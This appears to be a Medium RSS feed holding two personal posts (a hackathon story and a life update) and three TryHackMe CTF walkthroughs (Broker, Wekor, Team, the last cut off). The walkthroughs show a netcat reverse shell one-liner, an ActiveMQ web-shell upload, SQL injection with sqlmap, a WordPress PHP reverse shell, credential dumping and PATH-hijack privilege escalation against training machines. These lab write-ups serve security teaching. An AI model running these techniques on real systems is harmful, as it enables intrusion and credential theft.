<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anubhav Uniyal on Medium]]></title>
        <description><![CDATA[Stories by Anubhav Uniyal on Medium]]></description>
        <link>https://medium.com/@anubhavuniyal?source=rss-595cd3c0d173------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*S44ra_6aFm3WRI0vQIlUeQ.jpeg</url>
            <title>Stories by Anubhav Uniyal on Medium</title>
            <link>https://medium.com/@anubhavuniyal?source=rss-595cd3c0d173------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 18 May 2026 06:30:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anubhavuniyal/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Not A Review: Why You Should Participate in a Hackathon]]></title>
            <link>https://medium.com/readers-club/not-a-review-why-you-should-participate-in-a-hackathon-d24bb0bc20f6?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/d24bb0bc20f6</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[hackathons]]></category>
            <category><![CDATA[life]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[storytelling]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Sun, 15 Dec 2024 18:44:41 GMT</pubDate>
            <atom:updated>2024-12-16T01:53:20.202Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z853VN8InGZz5rcPpVHrGQ.jpeg" /><figcaption>Me And My Teammates</figcaption></figure><p>Participating in a hackathon can be one of the most rewarding experiences for tech enthusiasts, whether you’re a seasoned developer or simply looking to challenge yourself. Recently, my company organized a hackathon, and I’m here to share why I believe everyone in tech should dive into such events. With a well-organized event and the right motivation — free goodies, prizes, food, and even alcohol — there’s so much to gain. More importantly, hackathons are about the learning, collaboration, and unforgettable memories you make.</p><h4>Chapter 0 — What is a Hackathon anyway?</h4><p>For those unfamiliar, a hackathon is an event where teams of tech professionals or enthusiasts come together to solve problems or create new solutions within a limited time frame, typically 24 to 72 hours. Teams often include members from diverse disciplines like frontend developers, backend engineers, network experts, and seldom DevOps engineers, depending on the project’s requirements.</p><p>The goal isn’t to deliver a polished, production-grade product but rather to present a working prototype of an idea. It’s all about innovation and creativity under pressure. Winners are usually awarded cash prizes, exclusive goodies, and recognition for their efforts. Beyond the tangible rewards, it’s an intense yet fun environment where you push your boundaries, learn new skills, meet like-minded people, and work like you always wanted to, with alcohol by your side.</p><h4>Chapter 1 — My Motivation and Assembling a Team</h4><p>As a DevOps Engineer, my role typically involves optimizing processes and tools. While I’m well-versed in best practices, I’ve rarely had the chance to dive deep into programming. A hackathon seemed like the perfect opportunity to explore uncharted waters and build something meaningful from scratch.</p><p>I rallied a team of my colleagues and close friends, all DevOps engineers like me. While it might seem counterintuitive to form a team without cross-functional expertise, our camaraderie and shared understanding of our roles made it an easy choice. After all, hackathons aren’t just about winning — they’re also about having fun and unleashing your creativity without worrying about perfection. Since this was an internal company event, the competitive yet collaborative vibe among colleagues made it even more exciting.</p><h4>Chapter 2 — The Ideation Stage</h4><p>The hackathon’s judging criteria included:</p><ul><li><strong>40 points</strong> for the idea’s impact</li><li><strong>50 points</strong> for the working demo</li><li><strong>10 points</strong> for cross-team collaboration</li></ul><p>Since our team lacked cross-team collaboration (due to the team size cap of four members), we knew those 10 points were out the window. That meant we had to ace the impact and demo categories.</p><p>For our project, we focused on creating an <strong>Internal Developer Platform (IDP)</strong>. As DevOps engineers, we often find ourselves as bottlenecks when developers need features deployed or infrastructure provisioned. Our IDP aimed to empower developers to perform critical tasks like onboarding new microservices and updating Kong routes independently through a user-friendly interface. This wasn’t just a project to win the competition — it was a solution to a real pain point in our organization.</p><h4>Chapter 3 — And we are off to the races</h4><p>After two weeks of anticipation, the hackathon finally kicked off. We received a starter kit that included a commemorative jacket, snacks, and energy drinks — essentials for the grueling 48 hours ahead.</p><p>Without diving too deep into technical details, here’s a high-level overview of our stack:</p><ul><li><strong>Backstage.io</strong> for the user interface</li><li><strong>GitHub Actions</strong> for CI</li><li><strong>Terraform</strong> for CD</li></ul><p>Despite being fully immersed in the hackathon, we couldn’t completely escape our regular duties. Developers frequently approached us with requests for provisioning infrastructure or resolving API gateway issues. Balancing our day-to-day responsibilities with the hackathon was challenging but also a reminder of the potential impact of our project.</p><p>Working with unfamiliar tools like TypeScript and Backstage.io posed significant hurdles. The documentation was sparse, and AI tools didn’t always provide clear answers. However, the internal nature of the hackathon meant we could reach out to colleagues for guidance. A friendly UI engineer saved the day multiple times when we hit roadblocks.</p><h4>Chapter 4 — The Final Countdown</h4><p>After 48 hours of intense coding, countless energy drinks, and some late-night beers, we had a working prototype. It wasn’t perfect, but it was functional — and that’s the essence of a hackathon.</p><p>We headed home for a short break before the final presentation. Exhausted but satisfied, we were ready to showcase our idea.</p><h4>Chapter 5 — The Day of Reckoning</h4><p>The hackathon featured 45 teams, but only the top 15 would progress to the final round. The pre-judging panel included VPs from tech, product, and marketing. They evaluated projects based on impact, functionality, and creativity.</p><p>Our demo went smoothly, and we felt confident about our chances. However, when the top 15 teams were announced, our hearts sank — our team name wasn’t called. Just as we were packing up, we discovered there had been a mix-up with another team’s name. Thankfully, we were still in the running.</p><p>During the final presentation to the judges panel comprised of our CEO, CTO, and other senior leaders, our demo worked flawlessly. Developers in the audience were visibly excited about the potential of our platform. Unfortunately, our idea didn’t resonate as strongly with the judges, who likely prioritized broader organizational impact over technical innovation.</p><p>The winners were announced a few hours later, and while we didn’t make the top three, we had no regrets. The winning projects were truly outstanding and deserved recognition. We celebrated their success and cherished the experience we’d gained.</p><h4>Chapter 6 — Conclusion</h4><p>Participating in a hackathon is an unparalleled experience that every tech professional should try at least once. It pushes you out of your comfort zone, introduces you to new technologies, and fosters a spirit of collaboration and innovation. For me, the hackathon was an opportunity to bond with my team, tackle real-world challenges, and create something impactful — even if it wasn’t perfect.</p><p>Whether you join for the prizes or the learning, a hackathon offers memories and lessons that stay with you long after the event ends. So, the next time you see a hackathon happening — be it internal or public — don’t hesitate. Dive in, and who knows? You might just surprise yourself with what you can achieve in 48 hours.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d24bb0bc20f6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/readers-club/not-a-review-why-you-should-participate-in-a-hackathon-d24bb0bc20f6">Not A Review: Why You Should Participate in a Hackathon</a> was originally published in <a href="https://medium.com/readers-club">Readers Club</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Three-Year Update]]></title>
            <link>https://medium.com/readers-club/the-three-year-update-91212a2943ec?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/91212a2943ec</guid>
            <category><![CDATA[travel]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[life]]></category>
            <category><![CDATA[updates]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Sun, 08 Dec 2024 18:20:37 GMT</pubDate>
            <atom:updated>2024-12-09T15:18:14.130Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ErjzPirVOB56_qgOokzrOg.jpeg" /></figure><p>Hello Dear Readers, I honestly have no idea how many of you are still following my blog (if any!), especially since it’s been over three years since I last posted. <strong><em>Ahem</em></strong>, but here we are. It’s a new year, and I’ve set myself a new goal: to write one blog post every weekend.</p><p>Now, don’t worry — I’m not just saying this to fill up space with random, half-baked thoughts. Quality will always come first. I might not be a professional writer like some of the other folks out there, but I can assure you that whatever I write will be the best I can offer at that moment.</p><p>As for the content, I’m keeping things open-ended. My previous posts were mostly tech-related, but I’m thinking of broadening my horizons. Expect a mix of topics: reflections on life, new food discoveries, travel stories from different cities and countries, and of course, tech. So, in short — <em>whatever sparks my interest</em>.</p><p>A little context for anyone who’s stumbled here since I last posted: I originally started this blog during the pandemic as a college student who loved cybersecurity, mostly out of boredom, if I’m being honest. But, alas, life had other plans, and I wasn’t able to fully pursue that interest. That said, not everything was bad. A lot has happened since then. I graduated from college, had to move out of my hometown, and now I’m working as a DevOps Engineer here in Bangalore, India. Life since then has been nothing short of a roller coaster ride. But after some time to reflect and re-calibrate, I’ve realized I miss writing and sharing my thoughts. So, as a Millennial with the cliché “new year, new me” mindset, I want to make this blog a regular part of my routine again.</p><p>And that’s it. That’s my life update in a nutshell. If any of you have suggestions on what topics you’d like to see me explore, feel free to drop them in the comments. I’ll do my best to make them happen!</p><p><em>See you soon,</em><br><em>Anubhav</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91212a2943ec" width="1" height="1" alt=""><hr><p><a href="https://medium.com/readers-club/the-three-year-update-91212a2943ec">The Three-Year Update</a> was originally published in <a href="https://medium.com/readers-club">Readers Club</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Broker Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-broker-writeup-fb75b30cf674?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb75b30cf674</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[write]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Fri, 12 Mar 2021 11:32:13 GMT</pubDate>
            <atom:updated>2021-03-13T14:50:13.562Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjrAZiW-kyPi9Yu8Fo6VyQ.png" /></figure><h3><strong>Overview</strong></h3><p>Hey, how’s it going guys. I am back with another write-up, this time trying <a href="https://tryhackme.com/room/broker">broker</a> by <a href="https://tryhackme.com/p/M0N573R777">M0N573R777</a> and <a href="https://tryhackme.com/p/ripcurlz">ripcurlz</a>.This was a very interesting box and a very unique box, showing the very minuscule security in the IoT devices. The box starts by scanning the higher ports to obtain the services running on them. One of the ports is hosting a MQTT broker, using which we find a topic to subscribe. We then, find a CVE, modify it a little, to get command injection on the machine, and get a reverse shell back. Finally, we use a misconfigured script, to gain root access. So, without anything else to say, let’s get started.</p><h3><strong>Wait, Before Proceeding!</strong></h3><p>There are a few things you must know and understand, before you continue on with the room.</p><p><em>What is MQTT?</em></p><p>MQ Telemetry Transport protocol(MQTT), is a protocol mainly used by Industrial IoT devices, like thermometers . Although, some exceptions do exist, like a smart home automation system.</p><p><em>Why does MQTT exists?</em></p><p>Everyone ( at least, everyone reading this article ), knows that the internet is based on the TCP/IP model. But, the main problem with the TCP/IP model, it is not optimized to work with unstable, low bandwidth networks. Also, working with constrained devices like sensors, where the data processing capabilities are already very low, and the TCP/IP network stack quickly becomes a problem . This is where MQTT comes in, it resides on top of the TCP/IP protocol, and uses a publish/subscribe messaging protocol which is specifically designed with unstable, unreliable low bandwidth connection in mind, and since it uses TCP for transmission, it has continuous session awareness.</p><p><em>What is the publish/subscribe messaging protocol?</em></p><p>Unlike the traditional client-server model used by TCP/IP, in which a client communicates directly with an endpoint(another client, or server), MQTT clients are split into two groups: A sender (referred to as a publisher in MQTT) and a consumer that receives the data (an MQTT subscriber). The publisher and the subscriber do not know anything about each other, and, in fact, are never in direct contact with each other. A third component (an MQTT broker), acts as the “middle man”, directing messages from the publisher to <em>any end points acting as subscribers</em>. (OOPS)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lY1gvBSWViXDDy2m.jpg" /><figcaption>Credits: <a href="https://behrtech.com/blog/mqtt-in-the-iot-architecture/">https://behrtech.com/blog/mqtt-in-the-iot-architecture/</a></figcaption></figure><p>If you want to know more about what MQTT is, and how does it work visit <a href="http://www.steves-internet-guide.com/mqtt-basics-course/">http://www.steves-internet-guide.com/mqtt-basics-course/</a> .</p><p>All right!, with that out of the way.</p><h3><strong>Let’s Break In!</strong></h3><p>As always, start off with a NMap scan</p><pre>sudo nmap -sS -sC -sV -oA nmap/broker -vv *THM Box IP*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0quVntwWHUg6zF3LeO4rg.png" /></figure><p>NMap shows that two ports are open 1883(MQTT), 8161(ActiveMQ).</p><p>Port 8161 hosts a message broker, made by the Apache software foundation, ActiveMQ. Clicking on “Manage ActiveMQ broker” a box pops up, asking for the credentials. Trying some default passwords, logs us in as the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DyuT3SG_HVeJdNLzaheJBQ.png" /></figure><p>The next task, requires the use of a MQTT client to access the information going through. To access it, a few things are required. Firstly, a MQTT client to connect to MQTT service, then a “topic” for which we will <em>act as a subscriber</em> and receive the data sent by the <em>publisher</em>.</p><p>Let’s check the broker for the list of topics, since we don’t have any. On visiting the “Topics” section of the broker, multiple topics are present, “secret_chat” being one of them. Interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OSyqIaWVXwvvvpW1ohMtaA.png" /></figure><p>To subscribe to the topic, first install a MQTT client of your choice.<a href="https://github.com/eclipse/mosquitto">Eclipse Mosquitto</a>, developed by the Eclipse Foundation, has a tool called mosquitto_sub, which let’s you act as a subscriber.</p><p>Now, to subscribe to the topic, use the following command</p><pre>mosquitto_sub -t &#39;secret_chat/#&#39; -h *THM Box IP* -p 1883 -V mqttv31 --tls-version tlsv1.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0EtqMGlzu3Pcd3Avf67Otw.png" /></figure><blockquote>Here, -t: topic to subscribe, #: is a wildcard character, that lets you subscribe to multiple levels of the topic, -h: hostname or ip address, -p: port number of the MQTT service, -V: version of the MQTT service, --tls-version: it’s the tls version used by the service</blockquote><p><strong>P.S.</strong> Topics in MQTT are stored as directories, that’s why the “#” and “+” wildcard characters exist.</p><p>It would appear, two people are using the broker as a chatting service. Reading their chat, they seem to be discussing about a game. That’s a interesting way of using the service, not too secure though.</p><p>Now, to get machine access, we need to exploit a CVE for ActiveMQ. Searching <a href="https://www.exploit-db.com/">exploit-db</a>, a exploit is available. But, it doesn’t work as advertised, some changes are required to be made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jidkcMA0G9LKV_WO1j6V4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjt84g-7NWO463dZKrkzJw.png" /></figure><p>Using the PUT HTTP verb, and sending the payload to stored in the fileserver directory. The exploit doesn’t work, because our web-shell does not have permission to execute in the fileserver directory. The next logical thing would be to move it to a directory where it can. The question then arises, where?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DI8L6IGhgM7UZaWapdH86g.png" /></figure><p>While searching for an available solution for the exploit, I came across this great article by <a href="https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30">Knownsec 404</a> team, that explains the exploit more in depth, why it doesn’t work, and how to make it work.</p><p>The Knownsec 404 team, seems to move it to a directory called “apache-activemq-<em>someversionnumber</em>”. The next hurdle is figuring out the version number of the broker. NMap didn’t provide us with one, so we need to search for it manually. Using GoBuster, let’s try to find some endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ha-5vVKZLaVwXG_3U8Lz4w.png" /></figure><p>Remember to put the “Authorization” header while making the requests, otherwise the application will just respond with 401(Unauthorized) codes. We have many results, on visiting the first directory, we find the version number, with the full path is reflected on the webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ffSu1jBYGI_-JM-55FQDA.png" /><figcaption>Focus on activemq.home</figcaption></figure><p>Now, we can be absolutely sure that it is the path where we are supposed to move our shell, for it to be executed. Let’s make use of the MOVE method, and specify the destination path(inside the activemq.home/webapps/admin), to move our web-shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgKQYVeLwakr74auTU9uZQ.png" /></figure><p>Then, go to “*THM box IP*/admin/cmd.jsp?cmd=” and pass the cmd variable any value, that you’ll like to execute on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v7CnuH3Ehf4nwikb43Xb2g.png" /></figure><p>And we got command execution, which means we can get a reverse shell to our machine. Using the normal bash reverse shell one liner, I was unable to get a reverse shell, probably some bad characters, messing up the command, so I made use of the NetCat reverse shell oneliner.</p><pre>nc -e /bin/bash *Your tun0 IP* *port you’re listening on*</pre><p>Remember to encode the spaces with either “+” sign, or using “%20”, otherwise the command won’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Voz08q1d6C3y_N4v9stI1g.png" /><figcaption>Upgrading the reverse shell</figcaption></figure><p>The reverse shell was received as a user on the machine. Running sudo -l, the user activemq can run a python script as root, owned by activemq itself. This means, changing the content of the file, and executing it, will get us the root shell. Change the contents of the script with</p><pre>import os<br>os.system(“/bin/bash”)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKJalkGH7WB8zHTv-fYpDQ.png" /></figure><p>So, this was the box guys. Hope you guys enjoyed it</p><p>If you have any suggestions do let me know in the comments.</p><p>Have a beautiful day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb75b30cf674" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-broker-writeup-fb75b30cf674">TryHackMe | Broker Writeup</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Wekor Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-wekor-writeup-a01b851f651d?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/a01b851f651d</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Tue, 09 Mar 2021 12:44:30 GMT</pubDate>
            <atom:updated>2021-03-10T09:34:22.354Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EnzgzoNnql5RpoCW258Pow.png" /></figure><h3><strong>Overview</strong></h3><p>Hey, how’s it going guys. I am back with another write-up, this time trying Wekor by ustoun0. This was a very awesome machine, that proved to be harder than what I had initially thought.</p><ul><li><a href="https://tryhackme.com/room/wekorra">Wekor</a></li><li><a href="https://tryhackme.com/p/ustoun0">TryHackMe | ustoun0</a></li></ul><p>We start by doing a simple port scan, and see that port 80 is open. Doing some directory brute-forcing on the initial website, we get a location to another website. On visiting that website, and poking around, we find a SQL injection vulnerability. From there, we make use of SQLMap to extract information. Going through the information, we find some WordPress credentials. Logging into WordPress, we edit a PHP page, to get a reverse shell. After getting into the machine, we enumerate the Memcached service to find the user password. Once that is done, we reverse an elf binary file, and spoof a system binary to get to the root. So, without anything else to say, let’s get started.</p><h3>Let’s break in!</h3><p>As always, start off with an NMap scan.</p><pre>sudo nmap -sS -sV -sC -oA nmap/wekor *THM Box IP* -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oiIyU68f-7QXe1vFc8ybQw.png" /></figure><p>On running NMap, we have only two ports open 22(ssh) and 80(HTTP). Let’s visit the website on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fGFojmbUghk2ZcONPgf_Fw.png" /></figure><p>On visiting the website, we are greeted with a message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X2r1I2Mrpj3l4STkqk2bmw.png" /></figure><p>There was also a robots.txt on the website, on visiting the robots.txt, we get many different directory paths. Sadly, all of them redirect us to 404(Not Found), except for one “/comingreallysoon”.<br>Here, we find that the actual web-site can be found on “/it-next” location. Let’s visit the website.</p><p>On visiting the website, we see that it is some company’s website, offering computer solutions. After some poking around, we see that there is a form field on the checkout portion of the website, there they ask for a coupon code.<br>Testing for a possible SQL injection, trying to put just a single quote, the website reflects an error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EK44VFctnNAnYnQQ1YUaaQ.png" /><figcaption>Using ” ‘ or 1=1 -- -,” without the double quotes, will get the actual coupon code.</figcaption></figure><p>It is certain that the “Apply Coupon” field is vulnerable to SQL injection, so let’s run SQLMap on it and let’s see what we can uncover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pj0a6ehDnlqjnbN2nHbJzg.png" /><figcaption>Yes, I did change my shell midway. Don’t ask me why, I have no explanation for my actions</figcaption></figure><pre>sqlmap -r $PWD/ApplyCoupon.req --dump-all --batch</pre><blockquote>Here -r: To point SQLMap to the actual request, give it the full path otherwise it’ll error out. --dump-all: to dump all the data that is available through SQLi on our local machine. --batch: To give default values to any prompt, so that the process is not paused in the background, waiting for user interaction.</blockquote><p><strong>P.S.</strong> You can easily capture the request using any proxy tool.</p><p>Since, I primarily use burp for my “proxying” needs, I can give you a little help with that. Just put burp in intercept mode, proxy your browser to burp, once burp intercepts the request, right click on the request and click save item. And now you can pass the file to SQLMap. One little nugget of information, replace the value of the variable you need to test with a “*”. SQLMap, will only test this particular variable, saving time. And time, as they say, is money.</p><p>The method of capturing requests, should almost be the same on any other tool you use.</p><p>After some time when SQLMap finishes it’s work. We have a ton of information, but the one that is interesting is the “WordPress” folder, with username and password hashes of different users. The hashes are of the WordPress(MD5) category. Using hashcat, and the <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwj20uW6o6PvAhUFOisKHc1xCKkQFjAAegQIBBAD&amp;url=https%3A%2F%2Fgithub.com%2Fbrannondorsey%2Fnaive-hashcat%2Freleases%2Fdownload%2Fdata%2Frockyou.txt&amp;usg=AOvVaw3snAERl1mU6Ccr4WFEazBd">rockyou</a> wordlist we can easily crack the password hashes.</p><pre>hashcat -m 400 -a 0 hashfile.txt /path/to/the/wordlist</pre><p>All password hashes are cracked, except for the admin password hash, looks like someone is following the rules.</p><p>But, we didn’t find any WordPress blog. And, there is nothing else left to uncover on this website. So, let’s try virtual host brute-forcing, using GoBuster. After GoBuster finishes running, we see that we have a result, the web-site has a subdomain “site”, which is a WordPress blog. <br>Navigating to “/wp-admin” we get a login form. Let’s try using the credentials we got.</p><p>Using the first set of credentials we get nothing interesting. Jeffrey is just a normal WordPress user, with no rights. <br>Trying the second set of credentials, we see that Yura is a WordPress admin, awesome!. This means that we can get a reverse shell.</p><p>To Get the reverse shell, navigate to “Theme Editor”, there we can edit any template, I decided to edit the “404.php”. Paste the <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwj20uW6o6PvAhUFOisKHc1xCKkQFjAAegQIBBAD&amp;url=https%3A%2F%2Fgithub.com%2Fbrannondorsey%2Fnaive-hashcat%2Freleases%2Fdownload%2Fdata%2Frockyou.txt&amp;usg=AOvVaw3snAERl1mU6Ccr4WFEazBd">php-reverse-shell</a> by <a href="https://github.com/pentestmonkey">pentestmonkey</a>, make the required changes to the ip and port field of the script and save the template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tDV2NS34FEecxXdQm_SQ-g.png" /></figure><p>From there, navigate to /wp-content/themes/twentytwentyone/404.php, while listening on the port using NetCat, to receive the reverse shell.</p><p>Once in the machine, we see that we are logged in as “www-data”. Running linPEAS, we find nothing interesting. Looking for services running on the machine, we see that a service is running on the higher port 11211.<br>Using some Google-Fu, we find that the name of the service is “Memcached” and we can enumerate the service for it may store some information.<br>Equipped with this information, lets try enumerating the service.</p><p><em>Wait, what is Memcached and why are we looking for information inside it?</em></p><p>Well, Memcached is a distributed memory caching system. Just like the swap partition on your Linux machine, except it usually runs on servers.What happens is, whenever the server runs out of memory(RAM), it will take some pieces of information, which were requested a certain time ago, move those information to the cache system, so that it can free up memory for the current tasks. To keep track of the time, the server uses expiration timeouts. Once, the time of an information expires, it automatically moves it to the Memcached service. And if that information is required again, instead of doing the calculation for the query over and over again, the server can just use the cached information.</p><p>So, let’s get going. We can connect to the service using Telnet.</p><pre>telnet localhost 11211<br>stats items (shows everything in the cache)<br>stats cachedump 1 0 (dump everything in the slab id(1))<br>get user (user query information in the cache)<br>get password (password query information in the cache)</pre><pre>press Ctrl+] to bring up the telnet prompt<br>type close to exit from telnet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppE4p2_I0lI5cZmZd__6OQ.png" /></figure><p>We get the password for the user Orka.<br>Running linPEAS again on the machine, we find that our user can write in the <strong>“/usr/sbin” </strong>directory. Let’s keep this information in the back of our mind, as it will prove very useful in a bit.<br>Running sudo -l, we see that our user can only run an elf binary, “bitcoin” as root. Running the executable, it prompts us for a password, which we don’t have.</p><p>Transferring the binary to our machine, and reversing it using ghidra, we find the required password, and we see that the binary is making a system call to a script “tranfer.py”. <br>The binary is using an absolute path for calling the script, and an absolute path was used for the binary in the sudoers file, but, it is using a relative path for calling the python binary. And <em>remember</em>, we can <strong>write</strong> to “/usr/sbin” which has a higher precedence(in this machine) over “/usr/bin”, where the actual python binary resides.<br>What this means, is that the system will look for the python binary in “/usr/sbin” before looking somewhere else, which means we can place our own bogus program, give it the same name, and the system will execute it instead of the actual python binary.</p><p>Let’s cd to “/usr/sbin”, then:</p><pre>touch python (create a file named python)<br>vim python   (put in the bogus code)<br>     #!/bin/bash<br>     /bin/bash<br>     :wq!<br>chmod +x python (give it executable permission)</pre><p>Let’s try executing our bogus python binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EjmqLyoP3giWMuGpQTPRYQ.png" /></figure><p>And, voila we get our root shell.</p><p>So, that was the box, hope you guys enjoyed it.</p><p>If you have any suggestions, do let me know in the comments.</p><p>Have a beautiful day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a01b851f651d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-wekor-writeup-a01b851f651d">TryHackMe | Wekor Writeup</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Team Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-team-writeup-e8ba56dcbce9?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8ba56dcbce9</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Sun, 07 Mar 2021 07:50:43 GMT</pubDate>
            <atom:updated>2021-03-09T13:27:14.323Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6oFD3gfEXYFPFOAzN6-dA.png" /></figure><h3><strong>Overview</strong></h3><p>Hey, how’s it going everybody. I am back with another write-up, this time trying Team by dalemazza.</p><ul><li><a href="https://tryhackme.com/room/teamcw">Team</a></li><li><a href="https://tryhackme.com/p/dalemazza">TryHackMe | dalemazza</a></li></ul><p>This was an easy rated box, but in my opinion should have been a medium rated box just because of the sheer number of steps required to gain the initial foothold on the machine. On visiting the website, we are greeted with a default Apache2 page. After some initial recon, we find that the box is using a Virtual host domain, on visiting the second domain, we fuzz for the credentials of the FTP service running on port 21. From there we find the name of the subdomain, and on visiting it we see that a php script on the domain is vulnerable to LFI. Using LFI we again, fuzz to find the ssh key of the user. After SSH’ing into the machine, we first do a lateral privilege escalation to gain access to another user on the box. After that, we edit a script run by a root cronjob, to gain a reverse shell as root. Without anything else to say, let’s get started.</p><h3>Let’s Break In!</h3><p>As always, start off with a NMap scan.</p><pre>sudo nmap -sS -sV -sC -oA nmap/team *THM Box IP* -vv</pre><blockquote><em>Here -sS: SYN Scan, -sC: for “Safe” Scripts, or default scripts, -sV: for version enumeration, -oA: output in all format(Greppable, XML and default NMap output), -vv: for verbose.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BMISRrGb0eQAvXYCstrXQg.png" /></figure><p>On, running the NMap scan, we have 3 ports open: 21(ftp), 22(ssh) and 80(http). The ftp service has anonymous login disabled, so let’s visit the web-server running on port 80. On visiting the web-server, we are greeted with a default Apache login page. Using GoBuster to find anything interesting, we get nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJ9Bot-UHpgzd6DVoxI0aQ.png" /></figure><pre>cat /usr/share/seclists/Discovery/Web-Content/raft-small/words.txt | grep -v -P ‘^\.’ | gobuster dir -u <a href="http://*THM">http://*THM</a> box IP*/ -w - -o gobuster.log -t 50 -x php</pre><blockquote>Here, dir: to specify directory brute-forcing, -u to specify the target URL, -w to specify the word list, I use raft-small-words.txt. It is included in the sec-lists over 